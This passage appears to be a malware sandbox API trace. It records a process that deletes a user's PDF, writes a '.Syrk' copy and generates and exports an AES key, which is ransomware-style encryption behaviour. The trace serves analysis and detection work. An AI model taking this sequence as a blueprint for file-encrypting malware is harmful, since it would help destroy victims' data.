"c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0214.137] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0214.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0214.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0214.138] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0214.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.143] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.143] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0214.144] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.144] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.144] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0214.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0214.186] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0214.186] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0214.186] CoTaskMemFree (pv=0x5c7e518) [0214.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0214.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0214.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0214.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0214.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf"), fInfoLevelId=0x0, lpFileInformation=0x243b45c | out: lpFileInformation=0x243b45c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651ff50, ftCreationTime.dwHighDateTime=0x1d990f1, ftLastAccessTime.dwLowDateTime=0x88b1eea0, ftLastAccessTime.dwHighDateTime=0x1d99651, ftLastWriteTime.dwLowDateTime=0x88b1eea0, ftLastWriteTime.dwHighDateTime=0x1d99651, nFileSizeHigh=0x0, nFileSizeLow=0xaac0)) returned 1 [0214.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0214.195] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 1 [0214.200] EtwEventActivityIdControl () returned 0x0 [0214.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.202] EtwEventActivityIdControl () returned 0x0 [0214.202] EtwEventActivityIdControl () returned 0x0 [0214.202] EtwEventActivityIdControl () returned 0x0 [0214.214] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf.syrk")) returned 0x20 [0214.325] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf.syrk")) returned 0x20 [0214.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0214.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk", lpFilePart=0x0) returned 0x53 [0214.325] EtwEventActivityIdControl () returned 0x0 [0214.326] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.326] EtwEventActivityIdControl () returned 0x0 [0214.327] EtwEventActivityIdControl () returned 0x0 [0214.327] EtwEventActivityIdControl () returned 0x0 [0214.331] EtwEventActivityIdControl () returned 0x0 [0214.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.332] EtwEventActivityIdControl () returned 0x0 [0214.332] EtwEventActivityIdControl () returned 0x0 [0214.332] EtwEventActivityIdControl () returned 0x0 [0214.376] EtwEventActivityIdControl () returned 0x0 [0214.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.376] EtwEventActivityIdControl () returned 0x0 [0214.376] EtwEventActivityIdControl () returned 0x0 [0214.376] EtwEventActivityIdControl () returned 0x0 [0214.380] EtwEventActivityIdControl () returned 0x0 [0214.380] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.381] EtwEventActivityIdControl () returned 0x0 [0214.381] EtwEventActivityIdControl () returned 0x0 [0214.381] EtwEventActivityIdControl () returned 0x0 [0214.385] EtwEventActivityIdControl () returned 0x0 [0214.386] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.386] EtwEventActivityIdControl () returned 0x0 [0214.386] EtwEventActivityIdControl () returned 0x0 [0214.386] EtwEventActivityIdControl () returned 0x0 [0214.390] EtwEventActivityIdControl () returned 0x0 [0214.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0214.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2449e0c | out: lpFileInformation=0x2449e0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb49c0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfbdb49c0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfbe4bfa0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xaae4)) returned 1 [0214.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0214.396] GetConsoleOutputCP () returned 0x1b5 [0214.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.397] GetConsoleOutputCP () returned 0x1b5 [0214.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.397] GetConsoleOutputCP () returned 0x1b5 [0214.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.397] GetConsoleOutputCP () returned 0x1b5 [0214.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.397] GetConsoleOutputCP () returned 0x1b5 [0214.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.398] GetConsoleOutputCP () returned 0x1b5 [0214.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.398] GetConsoleOutputCP () returned 0x1b5 [0214.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.398] GetConsoleOutputCP () returned 0x1b5 [0214.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.399] GetConsoleOutputCP () returned 0x1b5 [0214.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.399] GetConsoleOutputCP () returned 0x1b5 [0214.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.399] GetConsoleOutputCP () returned 0x1b5 [0214.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.399] GetConsoleOutputCP () returned 0x1b5 [0214.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.400] GetConsoleOutputCP () returned 0x1b5 [0214.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.400] GetConsoleOutputCP () returned 0x1b5 [0214.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.401] GetConsoleOutputCP () returned 0x1b5 [0214.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.401] GetConsoleOutputCP () returned 0x1b5 [0214.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.401] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0214.402] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0214.402] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2463c18*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2463c18*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0214.403] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0214.403] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0214.405] EtwEventActivityIdControl () returned 0x0 [0214.405] EtwEventActivityIdControl () returned 0x0 [0214.405] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.406] EtwEventActivityIdControl () returned 0x0 [0214.406] EtwEventActivityIdControl () returned 0x0 [0214.406] EtwEventActivityIdControl () returned 0x0 [0214.408] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.409] EtwEventActivityIdControl () returned 0x0 [0214.409] EtwEventActivityIdControl () returned 0x0 [0214.409] EtwEventActivityIdControl () returned 0x0 [0214.447] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4ccc0) returned 1 [0214.448] CryptGenKey (in: hProv=0x5c4ccc0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c68e80) returned 1 [0214.449] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.449] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0214.449] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x246b744, pdwDataLen=0x5a2e82c | out: pbData=0x246b744*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0214.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.450] EtwEventActivityIdControl () returned 0x0 [0214.450] EtwEventActivityIdControl () returned 0x0 [0214.450] EtwEventActivityIdControl () returned 0x0 [0214.451] SysStringLen (param_1="") returned 0x8 [0214.451] SysStringLen (param_1="B") returned 0x8 [0214.451] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.451] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0214.451] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0214.451] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.451] SysStringLen (param_1="Bs") returned 0x8 [0214.451] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.451] SysStringLen (param_1="\뿙翣蜋\ꃞ⒗") returned 0x8 [0214.451] SysStringLen (param_1="\뿙翣蜋\ꃞ⒗") returned 0x8 [0214.451] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.452] SysStringLen (param_1="Bsj") returned 0x8 [0214.452] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.452] SysStringLen (param_1="왨廵뭢䃟奛鈽௢") returned 0x8 [0214.452] SysStringLen (param_1="왨廵뭢䃟奛鈽௢") returned 0x8 [0214.452] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.452] SysStringLen (param_1="Bsjd") returned 0x8 [0214.452] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.452] SysStringLen (param_1="蒵缀霵ඍ騧㺌Ꭺྑ") returned 0x8 [0214.452] SysStringLen (param_1="蒵缀霵ඍ騧㺌Ꭺྑ") returned 0x8 [0214.452] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.453] SysStringLen (param_1="BsjdW") returned 0x8 [0214.453] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.453] SysStringLen (param_1="閟욡욤髸畳斘") returned 0x8 [0214.453] SysStringLen (param_1="閟욡욤髸畳斘") returned 0x8 [0214.453] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.453] SysStringLen (param_1="BsjdWU") returned 0x8 [0214.453] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.453] SysStringLen (param_1="뚅Ꝩ笹숆ꔳ錾຿⾷") returned 0x8 [0214.453] SysStringLen (param_1="뚅Ꝩ笹숆ꔳ錾຿⾷") returned 0x8 [0214.454] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.454] SysStringLen (param_1="BsjdWUl") returned 0x8 [0214.454] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.454] SysStringLen (param_1="츘\淚ᜊ鶘爒⬤쵡⋢) returned 0x8 [0214.454] SysStringLen (param_1="츘\淚ᜊ鶘爒⬤쵡⋢) returned 0x8 [0214.454] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.454] SysStringLen (param_1="BsjdWUlk") returned 0x8 [0214.454] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.455] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ") returned 0x8 [0214.455] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ") returned 0x8 [0214.455] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ") returned 0x8 [0214.456] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ") returned 0x10 [0214.456] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.456] SysStringLen (param_1="BsjdWUlkq鐩듰ﯣ쥮ᴟ혩") returned 0x10 [0214.456] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.456] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ낗⽠冺⛞쩎ຟ调") returned 0x10 [0214.456] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ낗⽠冺⛞쩎ຟ调") returned 0x10 [0214.456] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.457] SysStringLen (param_1="BsjdWUlkqa鐩듰ﯣ쥮ᴟ혩") returned 0x10 [0214.457] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.457] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ㙞쮪穈⚹螩柆쏺던") returned 0x10 [0214.457] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ㙞쮪穈⚹螩柆쏺던") returned 0x10 [0214.457] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.457] SysStringLen (param_1="BsjdWUlkqaK듰ﯣ쥮ᴟ혩") returned 0x10 [0214.457] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.457] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒⒺ멝靖ꈤᒟ炷ٍ쇨") returned 0x10 [0214.457] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒⒺ멝靖ꈤᒟ炷ٍ쇨") returned 0x10 [0214.457] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="BsjdWUlkqaKEﯣ쥮ᴟ혩") returned 0x10 [0214.458] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ権̛㌶ꎔ\쓜쟄ඎ∈) returned 0x10 [0214.458] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ権̛㌶ꎔ\쓜쟄ඎ∈) returned 0x10 [0214.458] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="BsjdWUlkqaKEe쥮ᴟ혩") returned 0x10 [0214.458] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䙧Ê\㫟趀騲ᝎ⡛⋦) returned 0x10 [0214.458] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䙧Ê\㫟趀騲ᝎ⡛⋦) returned 0x10 [0214.458] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="BsjdWUlkqaKEe0ᴟ혩") returned 0x10 [0214.458] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.458] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒᬏ戱秨٦⌑䯢띲ᾫ") returned 0x10 [0214.459] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒᬏ戱秨٦⌑䯢띲ᾫ") returned 0x10 [0214.459] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.459] SysStringLen (param_1="BsjdWUlkqaKEe0C혩") returned 0x10 [0214.459] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.459] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ┱難쬠\ໟ甸♠솅⊑) returned 0x10 [0214.459] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ┱難쬠\ໟ甸♠솅⊑) returned 0x10 [0214.459] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.459] SysStringLen (param_1="BsjdWUlkqaKEe0Ca") returned 0x10 [0214.460] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.460] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介") returned 0x10 [0214.461] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介") returned 0x10 [0214.461] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介") returned 0x10 [0214.461] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介") returned 0x18 [0214.461] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.461] SysStringLen (param_1="BsjdWUlkqaKEe0Caj⽏鑼ꚨ铔췖쒞菰") returned 0x18 [0214.461] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.462] SysStringLen (param_1="箛퐠฾瀌缑湬ᬒ䣍៚ᱦἻ箩럭介ຑ腹×敝\뇞ᴹ⨮⊆) returned 0x18 [0214.462] SysStringLen 